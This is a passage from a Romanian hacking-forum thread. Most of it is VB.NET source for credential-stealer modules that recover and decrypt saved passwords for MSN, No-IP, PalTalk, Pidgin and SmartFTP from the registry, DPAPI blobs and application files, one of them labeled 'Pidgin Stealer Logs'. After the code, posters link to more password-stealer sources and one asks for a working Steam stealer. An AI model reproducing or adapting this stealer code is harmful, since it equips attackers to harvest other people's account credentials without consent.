Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL)
dataIn.pbData = Cred.CredentialBlob
dataIn.cbData = Cred.CredentialBlobSize
CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _
dataOut)
dataOut.pbData = dataIn.pbData

uDetail.uName = Cred.UserName
uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData)))
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============MSN==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & uDetail.uName)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & uDetail.uPass)
Form1.ztext.AppendText(nl)
Exit Sub
Catch x As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============MSN==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("MSN Could not be recovered!")
Form1.ztext.AppendText(nl)
Exit Sub
End Try
End Sub
End Module

11. NO-IP

Module No_IP
Public Function base64Decode(ByVal data As String) As String
Try
Dim encoder As New System.Text.UTF8Encoding()
Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
Dim decoded_char As Char() = New Char(charCount - 1) {}
utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
Dim result As String = New [String](decoded_char)
Return result
Catch e As Exception
End Try
End Function
Function IpRecord() As String
Try
IpRecord = Nothing
Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============IMVU==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & Username)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & base64Decode(Password))
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============IMVU==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("IMVU Not Installed!")
Form1.ztext.AppendText(nl)
End Try
End Function
End Module

12.PalTalk

Module PalTalk
Public Function GetHDSerial() As String
Dim disk As New System.Management.ManagementObject( _
"Win32_LogicalDisk.DeviceID=""C:""")
Dim diskPropertyA As System.Management.PropertyData = _
disk.Properties("VolumeSerialNumber")
Return diskPropertyA.Value.ToString()
End Function
Public Function paltalkscene() As String
Try
Dim ser() As Char = GetHDSerial().ToCharArray
Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim out As String = ""
reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
Dim users As String() = reg.GetSubKeyNames()
reg.Close()
For Each s As String In users
Dim t, o, i, x As Integer
Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
Dim chr1 As Char() = pass.ToCharArray
Dim passarr(pass.Length / 4) As String
While t <= UBound(chr1) - 4
If t < UBound(chr1) - 4 Then
passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
End If
t += 4
o += 1
End While
Dim key As String = ""
For Each c As Char In s
key += c
If i <= UBound(ser) Then
key += ser(i)
End If
i = i + 1
Next
key = key & key & key
Dim chr_arr As Char() = key.ToCharArray
Dim blainpass As String = ""
blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
For x = 1 To UBound(passarr)
Dim tempchr As Char
If passarr(x) Is Nothing Then
Else
tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
blainpass += tempchr
End If
Next x

Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============PalTalk==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & s)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & blainpass)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Next
Return out
Catch ex As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============PalTalk==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("PalTalk Not Installed!")
Form1.ztext.AppendText(nl)
Return "---"
End Try
End Function
End Module

13. Pidgin

Option Explicit On
Imports System.IO
Imports System.Xml
Module Pidgin

Public Function GetPidgin() As String
Dim ReadXML As New XmlDocument
Dim i As Integer
Dim OutAll = Nothing
GetPidgin = ""
Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml"
If File.Exists(FilePath) <> True Then
Exit Function
Else
Try
ReadXML.Load(FilePath)
Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol")
Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name")
Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password")
For i = 0 To Protocol.Count - 1
OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _
& "Username: " & Username(i).InnerText & vbCrLf _
& "Password: " & Password(i).InnerText & vbCrLf & vbNewLine
Next
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============Pidgin==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & Username(i).InnerText)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & Password(i).InnerText)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============Pidgin==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Pidgin Not Installed!")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
End Try
End If
End Function
End Module

14.SmartFTP

Module SmartFTP
Function SmartFTP() As String
Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
Dim sUser As String = Cut(sFile, "<User>", "</User>")
Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")

If Not sUser = "" Then
Try
SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============SmartFTP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============SmartFTP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
Function ReadFile(ByVal sFile As String) As String
On Error Resume Next
Dim OpenFile As New System.IO.StreamReader(sFile)
ReadFile = OpenFile.ReadToEnd.ToString
End Function
Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
On Error Resume Next
Dim c() As String
Dim c2() As String
c = Split(sInhalt, sText)
c2 = Split(c(1), stext2)
Cut = c2(0)
End Function
Function RegRead(ByVal hKey As String) As String
Dim wshShell As Object = CreateObject("WScript.Shell")
On Error Resume Next
RegRead = wshShell.RegRead(hKey)
End Function
Public Function ReadLine(ByVal filename As String, _
ByVal line As Integer) As String
Try
Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
filename, System.Text.Encoding.Default).Split(vbCrLf)
If line > 0 Then
Return lines(line - 1)
ElseIf line < 0 Then
Return lines(lines.Length + line - 1)
Else
Return ""
End If
Catch ex As Exception
Return ""
End Try
End Function
End Module

La ce foloseste asta ? fi mai explicit te rog

Link to comment
Share on other sites

http://www.coresec.org/category/programming/

http://www.coresec.org/2011/04/08/delphi-chrome-password-recovery-unit/

http://www.coresec.org/2011/04/22/delphi-mozilla-firefox-password-recovery-unit/

Siteul coresec.org are niste source code-uri foarte interesante

de asemenea

http://www.rohitab.com/discuss/topic/26843-steam-password-stealerdecryper/

Nu cred ca mai merge steam stealer(daca cineva are o sursa buna de steal stealer,il rog sa imi dea un PM cu el) dar gasiti multe exemple de R.E / cracking pe rohitab.

Edited by FarSe
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...